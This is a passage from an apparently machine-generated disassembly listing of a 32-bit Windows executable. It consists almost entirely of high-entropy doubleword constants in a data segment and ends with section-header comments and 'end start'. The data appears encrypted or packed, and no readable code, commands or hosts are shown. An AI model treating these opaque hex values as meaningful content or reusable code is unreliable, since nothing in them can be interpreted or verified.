0D0D5A0BDh, 614A100Bh dd 0C7868391h, 492B1213h, 0D193590Ch, 281CF7CCh, 8A664348h dd 9F8C7C1h, 0B4701724h, 0D0C4A2BFh, 7F522D2Bh, 0CC9FEC8Ah dd 4C22293Ah, 0CA917C7Bh, 271EF596h, 0B9734157h, 10EBD9D1h dd 9C732340h, 0F4C9ABA0h, 7A5D3B5Ch, 0E8B68682h, 4B3D0E1Ah dd 0C5E1606Bh, 4519F0F6h dd 0B6934452h, 3E4DCAEh, 0EE6D5857h, 19D3A583h, 7E50372Ah dd 0EBAD8AA5h, 48313C11h, 0B3BB6E66h, 2418FEC6h, 0BA9F706Fh dd 1FFCC9EDh, 8F785457h, 1CC1BCA5h, 72532207h, 0FAF6E387h dd 4C3F1404h, 0C0958A9Bh, 3E29E2E9h, 0AE827453h, 2DE1C6D5h dd 8977467Ah, 34CCB696h, 77401B51h, 0F4D5ADBAh, 7E2C3F19h dd 0C1BFBC9Fh, 7F2588ECh, 81A25741h, 12AE9697h, 0B60E7E7Eh dd 1EDFA7A5h, 4B4F3D21h, 0DCB7A2B9h, 6C0A0E0Fh, 0CF99989Dh dd 7918C1FFh, 0A28B4014h, 2119D5F0h, 8D6B7856h, 17DDD9C8h dd 98744A0Ah, 0FFD18BBEh, 6C2E0731h, 0E6B7B690h, 30B40283h dd 0AABAC73Ah, 0B8799D9Eh, 0DD2367A1h, 69FFB9D0h, 90701719h dd 0D87D5ED3h, 426FB7EFh, 0F69DB098h, 0AFCF81D3h, 3CE83C22h dd 0D889965Fh, 0DB34048Ch, 0AA9A7234h, 5EA5C912h, 0B6AEE2C6h dd 1356309Eh, 3436E385h, 2F675734h, 38EAC98Eh, 4A739708h dd 0B8554D76h, 0B204B3B4h, 38964128h, 82C38FBAh, 7A394D5Eh dd 9EACB8EEh, 2C342C12h, 0E8E26C08h, 0D28FC4C6h, 0D4CE0EAEh dd 0F773E9EFh, 0F02A15F3h, 22DC3349h, 19B6D7D1h, 9620E7D8h dd 3851E0FBh, 64DC0334h, 9192C2C6h, 0FC869A94h, 0D104AD9Ch dd 0EC172002h, 855A9D20h, 99B6DCA9h, 1BC0D4C8h, 2455F7FDh dd 4E9FE800h, 0BAE17172h, 0CCC8309Ah, 410A2525h, 0DAFC3836h dd 0FD5D393Bh, 341CD1D7h, 0E67D64E0h, 0B9C4E265h, 46D8FCE7h dd 0C3997597h, 0AABDF93h, 57824EF0h, 644D3433h, 4384442Ch dd 8CE5634Fh, 0BF993D58h, 4C133A6Bh, 0FA85A8A8h, 15631378h dd 0C2771425h, 99EB5D86h, 0BF0C001Bh, 259ABA7Ch, 0FE284CA4h dd 613787DAh, 1A7472DDh, 3D5C0A9Ch, 366F9904h, 0E3204342h dd 51519FBBh, 0B905E9AEh, 77513E7Ch, 0DBE84979h, 937B5210h dd 17656555h, 6693F2D9h, 323681EBh, 0B3153DF0h, 0CB6D6398h dd 0B4F65EEAh, 6A94B8B3h, 0FB7996CDh, 333DE884h, 140E7886h dd 0A3C7557Bh, 0BAD27D7Eh, 0BDE70A04h, 805E619Ah, 2AC8AC47h dd 62E5D413h, 1EEAA104h, 8C6A5213h, 42EFD408h, 0CB982066h dd 7F073A11h, 2F1BF763h, 4842BA0Bh, 5D0CE0A7h, 54A2BB27h dd 71CB6B40h, 876DC924h, 0ED05C36h, 5FC6BE63h, 6A4E211h dd 33E40536h, 855C9B9Bh, 5BE79163h, 50A7583Bh, 63FBCA3Ch dd 820DAA88h, 0C9D42C91h, 98C20EB3h, 0A70D7474h, 83C574EFh dd 0BAF11B8Fh, 4DFA2E31h, 5C8088D6h, 0EAAFBE37h, 9425C8C6h dd 632545Ch, 95BB8BB6h, 0B7B27170h, 0B0EAD2D7h, 0BAE57007h dd 0CBF71E3Eh, 59EEF8A7h, 0E71232DDh, 21F292C3h, 96D10551h dd 918BF3FAh, 88C4A45Eh, 0ADD6FBFFh, 390ED9D8h, 0A0F37C46h dd 1680A4A4h, 159BCD60h, 0E49CF0EBh, 5B5EB8CBh, 8ADF8F8Ch dd 4B45696Bh, 8AF64207h, 0C7608484h, 0F5C2CB81h, 93F9F9A1h dd 0F5E9385Bh, 54C37EDh, 0AA77184Bh, 0FE21278Fh, 4042564Bh dd 77BA3370h, 0F8C87ED5h, 4FEB3F3Ah, 72BD9C9h, 535F6F46h dd 6C94BD2Dh, 3A10EC48h, 7BE8C5BCh, 466F33CFh, 0F49CA0A2h dd 0CBCF81D2h, 3EE83C25h, 4D74925Fh, 0FF70D729h, 0A00749BFh dd 0A4207469h, 0A967472Ch, 0D1616051h, 9F49EDEBh, 69560E77h dd 0A9998480h, 539097A8h, 0C801B0ABh, 0B78CB384h, 70CFBE14h dd 7D23C010h, 1F395D5Eh, 9EC61A68h, 166AF87Ah, 39A4167Dh dd 0C37F94ABh, 0D4FE22C2h, 17AC8E30h, 0CE9B78CFh, 39E6859Ch dd 0C3BD782Fh, 0D5C2A12Eh, 4200BB5Dh, 0E6895204h, 6FAC046Eh dd 0EBA21F2Fh, 0E10CA26Dh, 5173B3Ah, 7AA5C979h, 5A6369D7h dd 13CFB2ADh, 244E72D7h, 1DD4C683h, 0BB6583B1h, 0CCF81C82h dd 0A9F38A94h, 0E72E049Ah, 76A24A41h, 243DF952h, 0AF9DC1C0h dd 542E084Fh, 92748389h, 0BD1AFFAAh, 0A1D4E766h, 26F7D2D1h dd 95134AB2h, 6B1EDFBh, 0FE6B9627h, 3588D2DDh, 1D474C7Bh dd 54861A0Eh, 94EEF12h, 96302715h, 0BC2EF2F2h, 0E20C3039h dd 1EEDD1FAh, 9A492320h, 5D2325DAh, 9F445844h, 9BE78136h dd 0CDDA0A4Dh, 92ED213Eh, 51789FF7h, 89587CA9h, 0B80244EBh dd 76257965h, 0B9A8A742h, 0DE723565h, 0F79EA3A7h, 0A6A3D1D0h dd 0C0DA220Eh, 0B15C981Bh, 0EC2DE7BFh, 0EA5740B8h, 0C83729CBh dd 4549D5D4h, 101A3EE9h, 0A2CBEF18h, 0DDD8207Eh, 0BDD71671h dd 7B362412h, 6C882717h, 67A185FEh, 7894B840h, 839DE196h dd 94B0FAACh, 9FF8DCAEh, 1D69EFF0h, 3FE70839h, 4842A6A1h dd 5E6826ADh, 9B8EB2A1h, 0C23029D5h, 0DC6325CEh, 674E3918h dd 0CC998C89h, 43200E10h, 0FA8D6465h, 3700FEF6h, 0CE2158h dd 96D96025h, 0F9A6FE5h, 7FE7A1C9h, 60670EA1h, 23776BFEh dd 9F504469h, 0B3DE0215h, 0BF219402h, 0A805E1E2h, 118C2101h dd 0EA163A38h, 3F2963A0h, 0E200FD50h, 7614854Eh, 11D8FC8Bh dd 0E4DACECEh, 0C13A8AE6h, 0FBDA838Fh, 7DF023A7h, 0FFD6B53Dh dd 0F0AF0446h, 32E53F4h, 0B1D3DFB5h, 49496D6Ch, 3829F191h dd 3B54A428h, 43FE489Ch, 0CB09B4EAh, 0E43E0205h, 42A74D49h dd 0E3AB4E7Eh, 81482BDCh, 1C2F3A3Bh, 1F2DF092h, 3850B4B5h dd 0E9AB87EBh, 0AC2CA091h, 0D13A1D9Ah, 0A20D43BDh, 0A5267A60h dd 8427185Ch, 194332E3h, 9C4E95F5h, 3929DBCEh, 0AF7EF042h dd 0B979ADB2h, 0DE072A6Dh, 6C5D0737h, 4D2C4748h, 0FC3CCB98h dd 12577C55h, 0F3CCF0F3h, 1E7BEB7Fh, 0E8BE0C3Eh, 669F0F64h dd 988F2819h, 0E251B58Bh, 24233C15h, 0E8EA058h, 27B1782Bh dd 0A264BCDCh, 2E2FFABEh, 0CE805A6Eh, 0B89192ECh, 0F1ACCE7Fh dd 140497B8h, 71E1866h, 8DB79D5Bh, 137759E9h, 1CF2613Fh dd 62DF8B79h, 86578F00h, 0CC70A4A5h, 0E34B1915h, 108C8080h dd 0C7AF15BDh, 45A8FCFCh, 3C0661EFh, 0EB40E8E8h, 1BAE8A89h dd 0F66A8AC4h, 0CA6DA1A1h, 0E0CB5892h, 34D9FDACh, 0ED7D6B39h dd 7AA5C9A0h, 8DCC00D6h, 96F0F19Ch, 0FBFE78Dh, 3C230030h dd 3F5A9BF5h, 0C307E498h, 0A579912Ch, 0DB91B1C9h, 1CA2F6F4h dd 52303E52h, 0F3281EB0h, 0AB4B5F42h, 9EE8BB79h, 3E864B8Ah dd 0C99E4848h, 7BBF335Ah, 60993403h, 73AEF28Ah, 14684C4h dd 0DF8B228Fh, 2D74DE94h, 3E2BF8C9h, 3952AADEh, 0F6C3919Eh dd 50F7A292h, 2F99CF14h, 0FB9A8E95h, 4BA3701Fh, 8C86EA91h dd 2E5E3CE3h, 3DFA0B7Dh, 366FB3B3h, 0F3AA9C99h, 7AD69FAFh dd 25EB86EFh, 70E33E36h, 0AA744979h, 0D8E28784h, 3B40F09Ah dd 5A9EF2C3h, 3774D14h, 0B3CFCD0Fh, 2B42B6A6h, 0B0644B44h dd 2AAEDCDDh, 94472E35h, 0A882E7B8h, 38520E06h, 0F1CBDEDDh dd 750D2E27h, 0C8A45741h, 2510EBEBh, 0B76C6453h, 0BFEC7C1h dd 0A96B2610h, 0F5DFB482h, 625E3C36h, 0FEA0BFB1h, 6C321F09h dd 0C9816B6Ah, 2922CAE5h, 0B36D4556h, 17FCD7C6h, 8075061Ch dd 0ECCBB9ABh, 62570C30h, 0C0BC8A83h, 4432032Bh, 0D3936462h dd 2300E1C3h, 8E984D48h, 8FFDAEFh, 94704F53h, 0CE6AFAFh dd 695C3528h, 0F7AB9287h, 6A0C071Ah, 0B3AA716Bh, 152ADFDCh dd 8BA85F4Ah, 3FE1E1F6h, 8565554Ah, 2FF8BCA0h, 6956383Dh dd 0D7E39095h, 473F0305h, 0D58C8A90h, 5101FFFEh, 0B3B34674h dd 2BEBC4D7h, 0B3124450h, 10C7B6A2h, 70411A25h, 91B9DFABh dd 1F493D6Dh, 0DFA6FAFBh, 560DF0E6h, 0A3867839h, 26ECCAD6h dd 8A671C53h, 3C9CAFA6h, 20610D07h, 0ECC4A1ADh, 6F210E08h dd 0EF81A3F2h, 7213A4D4h, 0E5A05B5Bh, 2115D687h, 0EB395B5Bh dd 6F9854E8h, 7C7B4A4Bh dd 0BB943E34h, 76C7A067h, 0A7CFC3E0h, 1970147Ch, 2A2A0F21h dd 3A28E981h, 3FB2A032h, 35958991h, 8F0D7BE4h, 0B630B3FCh dd 354A7E9Bh, 883D4D7Fh, 44D17EB0h, 0D94D5B0Ch, 43F3173Eh dd 54041802h, 59B98232h, 0B1A9BE45h, 7BE05E29h, 0F13DD19Ah dd 5E7C6020h, 47574B51h, 0BCE5080Fh, 73E668CEh, 3101150Ah dd 668FB33Dh, 0E1B4C4CFh, 0E8FBCFE0h, 0EF37375Eh, 0AEEAA379h dd 828FB7Ah, 0C8970200h, 47709C7Dh, 97B87123h, 2EC0F49Eh dd 0ED8FC13Eh, 75A8FCE0h, 66222E9Ah, 0F22BB7EAh, 0D7AE8A8Fh dd 85F4DA91h, 37AD1491h, 382BE01Dh, 5E89ADA7h, 0B3547D69h dd 3E8B9A87h, 0F7331B1Ah, 0A6ECF971h, 0DD0F9A72h, 451FFFFh dd 3F5AA272h, 0CCF91873h, 0CF79FCA8h, 0E8241417h, 76A2CB2Ch dd 56740852h, 0C0F8B7A9h, 740E333Dh, 518EFCBFh, 0C4D631Fh dd 0C9F3F018h, 1FDEA6A5h, 0B644677Ch, 0E66194C1h, 11C7BA6h dd 0DEE814EEh, 77166801h, 0ABD490F8h, 0C634C687h, 0F6DBE580h dd 0AB8621A2h, 6F5C1344h, 40B6412Bh, 65A5C14Ch, 0E6B6EAFDh dd 2C3A68h, 0F9D1F5F6h, 43CA7CD4h, 3CED213Eh, 6150520Ah dd 0DF02C52Dh, 3EC2BBBBh, 0C9161B0Ch, 0C5FF93F9h, 56D49A65h dd 4DCEC2DFh, 335C808Bh, 0B29A7D78h, 280CF2F5h, 23562A6Bh dd 5ABF612Dh, 1DA7CF46h, 89B0E4FFh, 46B3EF53h, 2BCBDFE9h dd 758AFBh, 28185A0Ch, 4B45B5D8h, 0D9074FB4h, 0D21CB5B5h dd 0F52F5A1Ch, 5E105C88h, 0F93B6F73h, 60371E11h, 89D3BD1Dh dd 0BAE43829h, 0EED715C6h, 0D6001404h, 44EA273Fh, 0A64C4070h dd 80C0CFA4h, 0E3A340Eh, 93A69EAh, 2A635B99h, 0C2BBC583h dd 0D2E21EB1h, 80FD1101h, 0D506A9C4h, 0EE291D98h, 2CF79D9Eh dd 9FCA0B09h, 98F2CA03h, 0FBC58B2Ch, 75DE322Eh, 71426E0Ah dd 0A0121E1Dh, 0A3775358h, 0DA0447B5h, 34210FC6h, 50326641h dd 7C8CBCB6h, 0DDB28329h, 0A5967B39h, 6A3E8CBCh, 811E2E45h dd 9E7B5755h, 0D7077AB0h, 2AD892C3h, 0F115BA65h, 147C2020h dd 1F797821h, 0F9A09FADh, 0BEE941BAh, 0C8C22658h, 7D1F5F5h dd 0B55F6362h, 5EA9553Fh, 95D54E7Eh, 8E87F7F1h, 695A81ABh dd 0AADE1E8Ch, 70338486h, 95AF4558h, 1F388EE8h, 74F52E63h dd 6FA890FCh, 0FD2646A3h, 0D8FC8BD9h, 78141202h, 0E6AA8699h dd 0A0A2D183h, 0C2DB24C8h, 0AFCC100Dh, 0B6071B00h, 6C95B972h dd 5232D1Eh, 0B89DCC43h, 0C4AAEE64h, 29CCC0EDh, 277B93Dh dd 0E8BA5A0Eh, 66930F64h, 1F872819h, 86073BBBh, 0A720745Ah dd 0D3AFB884h, 133E0833h, 72366DEFh, 0D0AD6695h, 8E588AF4h dd 4A73A78Dh, 50692E52h, 998FB3A7h, 0C43128D7h, 82A727D0h dd 436E5D5Eh, 0AD8DA9A3h, 60105648h, 2C1D0644h, 4740B8D4h dd 0D4F94AB0h, 0D701B0B0h, 0F02A2688h, 0D3154195h, 0E4366A76h dd 653C1664h, 2851799Eh, 0FB965404h, 1728DFD8h, 9CB75B31h dd 1F1C52ACh, 69170B16h, 4F21C608h, 9B335754h, 96C0E18Ch dd 0D0FBFF72h, 0E8DC3018h, 13A33300h, 99101C2Bh, 0D9795559h dd 0D838F58Bh, 0F2ADC6C4h, 4305642h, 932D0D61h, 481F6F6Eh dd 0AED8FDFDh, 10CB1F75h, 0D751828h, 5782A735h, 8FC4BF63h dd 0E66190C1h, 11C7C82h, 0FAE01D58h, 0ECF0366h, 3E2BF8F9h dd 3952AAEEh, 7B73F6FEh, 544E8204h, 6F254530h, 40BA143Bh dd 6BD71C4Ch, 8C86F663h, 9E4BA8EDh, 0A8D1F47Fh, 0BD53C30Fh dd 4CDDEE12h, 615B391Ah, 218CEB2Dh, 6C978B95h, 0FA4F4923h dd 1C4CD5BDh, 177149A0h, 0AA310A70h, 335DE005h, 55679D0Fh dd 4E48BC3Eh, 8F543A40h, 46212D47h, 38A74676h, 87F051DBh dd 0A9B36262h, 0A2FBCF34h, 41B175CFh, 0D518F4FAh, 4B75990Dh dd 50E50C79h, 98C59181h, 0C53372D6h, 51105CD1h, 0A03B6F7Fh dd 699A04ECh, 0B8DB8584h, 0BAD428B6h, 5C1A96FCh, 84002424h dd 0A51B4DE1h, 7F1C706Ch, 0DBEEA8Ah, 3E0813C9h, 2ACAB9EAh dd 0E17FC72h, 0BF01C412h, 576ED991h, 98EF236Bh, 44CFA4ADh dd 0E1F8BD34h, 2DAF2B0Bh, 1A111D53h, 1592D419h, 167C8BC9h dd 0B3C2EA02h, 6F49908Fh, 0E0DA662Bh, 66A8828Ah, 0C4331F1Dh dd 81B0FEh, 0C417374h, 0DAF6ACA8h, 0DD1A7150h, 80F11B6Bh dd 92AC0D8Ch, 0A1F61A1Ah, 0AD3F8A7h, 0CBD3A3CAh, 0F82BC4F3h dd 31E4763h, 8A58DFB5h, 4E44A406h, 0ADD6FF13h, 5F41AE89h dd 37A5161Dh, 66AB4131h, 0E8CAB132h, 1A972B90h, 2A4E46h dd 0AE6F6651h, 4F12695Ah, 86136307h, 0F8E584B6h, 7063466Ah dd 534C8C5Eh, 0F4388BACh, 0E298BC8Dh, 0CD08B4C6h, 0E17AF3D9h dd 4A143767h, 8B72660Ah, 0CDDE81B3h, 53C47111h, 0E5F46315h dd 0DE3707D3h, 0C267B40Ah, 1243573Dh, 774E238Ch, 0F5281105h dd 0A5BB7DFBh, 0FDD1946Bh, 265C225h, 4D46B664h, 2C838CDAh dd 96C10F5Ch, 0C70CF5D0h, 0EA1352D3h, 123C5074h, 91A1C79Bh dd 0D0577B08h, 8CC9609Eh, 0B4CE1798h, 0D8011508h, 0E348A2C0h dd 0F42D61E4h, 82ABCFD0h, 3EC7D898h, 77C6EADCh, 0D3AB8672h dd 0B9E6C455h, 698F2118h, 2BA82213h, 52A0BD25h, 0FE2BD3Eh dd 7E1348C3h, 89BF5A5Ah, 9AF3D7EBh, 0D707751Ch, 85F35E91h dd 4CAD1491h, 0D0FBBB9Bh, 0E4986ACh, 0BC14516Ah, 7ACDC8A2h dd 5EF35756h, 0BD31711Bh, 0DCCD7242h, 83580FFFh, 0B66A8E89h dd 0FCC81B9Eh, 510B27A8h, 65140806h, 4692D551h, 6E620552h dd 742B1E0h, 207B437Bh, 0A127047Fh, 3C628A0Eh, 36F47218h dd 67B2A110h, 0F485CB33h, 0F09EF2EDh, 8523AFB7h, 8FB9DE34h dd 2D5CEEE2h, 62E7F8C9h, 69334584h, 97F47E44h, 6479175Dh dd 77F33000h, 70AA954Bh, 7A278CC9h, 8CB6D91Fh, 9FCDA15Bh dd 0A8E1C5E9h, 5E0ED2D5h, 0C3E2110Dh, 14EE60CFh, 5A091D01h dd 1313B47Bh, 7225494Ah, 0B983F452h, 5CCAA665h, 0C59D4ACBh dd 0E16F8081h, 311DCF0Ch, 0CBF17D6Bh, 0DC361A05h, 0D2A8F333h dd 0F8225D8Ah, 47B306E7h, 0F5C99395h, 92EC6A79h, 3F9A7D4Eh dd 44E140BBh, 18F8AF7Ah, 9AB4283Fh, 2E41B6A1h, 0F6378228h dd 0DC975001h, 0E8553628h, 1C81F299h, 5F577601h, 86AF83D6h dd 4B66D41Dh, 928D3466h, 0BD794DFAh, 77278163h, 809AFED5h dd 4AB3059Fh, 144CE5CEh, 2A5377C0h, 8622C535h, 7541A4A1h dd 0E3D3110Fh, 2BFFE18Eh, 9E75534Eh, 12CEE5ABh, 38363Eh dd 0FEABDAC5h, 433D1506h, 0D0AC7122h, 3504B2B2h, 0E1C06E69h dd 17FCE285h, 9A7A544Ah, 16CDE6A7h, 741D3932h, 0FD80CC81h dd 26F404Dh, 0C4BE9789h, 1E59B1E4h, 0AC9F7F72h, 68B9DCCFh dd 9E664515h, 579DA1AFh, 675C3D33h, 0A181ADBAh, 3075534Fh dd 0CCA49C92h, 365AEDE4h, 430C9D1Dh, 66B0BF29h, 67408232h dd 0DC6EC429h, 3FAB473Bh, 0E0C590A8h, 97869D1Fh, 0B15F7D06h dd 8860B4B6h, 0C0079128h, 0BD090E53h, 942511AFh, 6EDF374Ah dd 22F9956Eh, 0C4F6E506h, 0F1373F23h, 4F31D8BAh, 355D83AFh dd 0C2EB5779h, 0A191C69Eh, 0AAF8D4D1h, 7718329Ah, 77237778h dd 479AD4E2h, 2503EE2Ah, 2368030Fh, 3324F359h, 985DB983h dd 0BE8A9AABh, 148FEB8Dh, 0D41FBD5Ch, 0F7106ABAh, 0B671592Fh dd 7200CCA8h, 0DBF5EB9Dh, 0F7B790Ah, 0C8B935A1h, 3E5DAB74h dd 0AD0119FBh, 0EDB2505Ch, 0A7988743h, 82ABFFE0h, 55611863h dd 0A3F49EECh, 2C063B29h, 46C72D7Ch, 7A706B6Ah, 0D4B3766Bh dd 32B1A2C4h, 841A6E76h, 2DE9F1C7h, 89395A0Ah, 653C19A9h dd 1802F088h, 86340334h dd 0BC930E78h, 0EDF894E0h, 1DC7E4FBh, 1230BF35h, 2D983637h dd 77D0215h, 693EF860h, 67194F8Dh, 35D33233h, 0C095709Ch dd 98AB4C26h, 5C02A5E7h, 0DBEBC7C8h, 8B8C2E1Fh, 803FABADh dd 6D421C19h, 36A3BD5Dh, 46D8FCFCh, 0C39974D3h, 0C9F418F0h dd 0BA03FBA5h, 0E5201D0Ah, 739FF028h, 33D3344Fh, 0BF9A6856h dd 94236B5Bh, 0F86978DBh, 3862B6B7h, 68181E60h, 0BD815D5Ch dd 0E20C3123h, 3DA43FD8h, 0F6AD4316h, 7B6DADBh, 0C4475436h dd 0F8EA7490h, 0CEDA8CC1h, 34ED1112h, 717B89DCh, 5A062D2Dh dd 6D97BB50h, 0F9790ABFh, 895253D8h, 69C06565h, 85EED2D3h dd 0E7D88FA1h, 28EA0E0Fh, 0B187613Bh, 0DCCFA825h, 281FB8B8h dd 0E868CD4Eh, 82C315FFh, 11D5A251h, 0E84227F3h, 1BDCF46Eh dd 55E73B3Ch, 0B48A64CFh, 0D90388CFh, 400C3EB5h, 0F61F7373h dd 0B39DFA4Ch, 0ED55B75Fh, 1BC71312h, 2D567AF4h, 8AC7BD82h dd 16F996A6h, 3EDE2718h, 9B714FE5h, 0B89D3D32h, 80AAAEEAh dd 58C6D7BCh, 11D193E9h, 1A4377CDh, 0A79B0606h, 4569602Ah dd 770E7621h, 6268AE1Fh, 0B04699CFh, 0EE96C498h, 0AB7DED5h dd 11A4E6E6h, 0D9AFEFE4h, 560EEAFDh, 0CA366F70h, 84F91257h dd 5AC921BAh, 633E7913h, 78A49741h, 26749154h, 0B49FC3C2h dd 0A9653AF9h, 3551EEB4h, 3E58BCABh, 0B8FE5023h, 51CE21A4h dd 64027434h, 0FEA09CA0h, 331E7DD4h, 99F9DEDFh, 2C192E6Ch dd 8F5D9E29h, 636607EDh, 0F8F5AB94h, 5980A494h, 1BF2A6B6h dd 51293F3Fh, 0FF2A7E7Eh, 0BE9BB649h, 3F0966Ah, 55D2C6C8h dd 84B4913h, 0CE639F14h, 0DE7C9091h, 0D13A3DBAh, 5CAEDBDh dd 0FA93B54Bh, 74B4E8E9h, 296E03F2h, 0A07A0CF5h, 0CA5DB1B3h dd 0F2C0C284h, 0AFCC109Eh, 21071B02h, 5CA5BA0Fh, 6FDC1148h dd 8881F98Bh, 2638C6E7h, 67CCF0C2h, 325A7E68h, 0BE82510Eh dd 679B771Ah, 2B5C2819h, 111777B8h, 72207450h, 4D2D1113h dd 0D233909Eh, 91DC956Ah, 3F6AB87Dh, 0C9E5230Bh, 36F2F184h dd 0A96D2902h, 8EEFA0C1h, 0BE2BE86h, 0D943CAA5h, 0F8C6A2A3h dd 6139153Eh, 1AB561Bh, 0ABD65070h, 4770B12Dh, 71164223h dd 17734F4Fh, 0D45EB507h, 811D41FCh, 87366A74h, 1BA5EFB8h dd 5B53734Ch, 0B5B75521h, 0C86D6E91h, 82FB75DBh, 0F71C52FCh dd 6F170B16h, 4424C10Ch, 540C680Ah, 5043E791h, 0D9469A76h dd 0CE34FFFFh, 5E957172h, 0CC8CA4D8h, 0EB6DAAA8h, 0E814178Eh dd 76B22EC4h, 24F25452h, 928D59E0h, 23A36F6Eh, 6CD8FCFCh dd 68EB8AAEh, 0E739143Ch, 2B825E26h, 0E5F8542Ah, 0F89EC2C1h dd 5C1C741Bh, 6238C756h, 1D7740DCh, 543AFF11h, 3DA0E778h dd 150Dh dup(0) seg002 ends ; Section 4. (virtual address 00019000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00019000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 419000h align 2000h _idata2 ends end start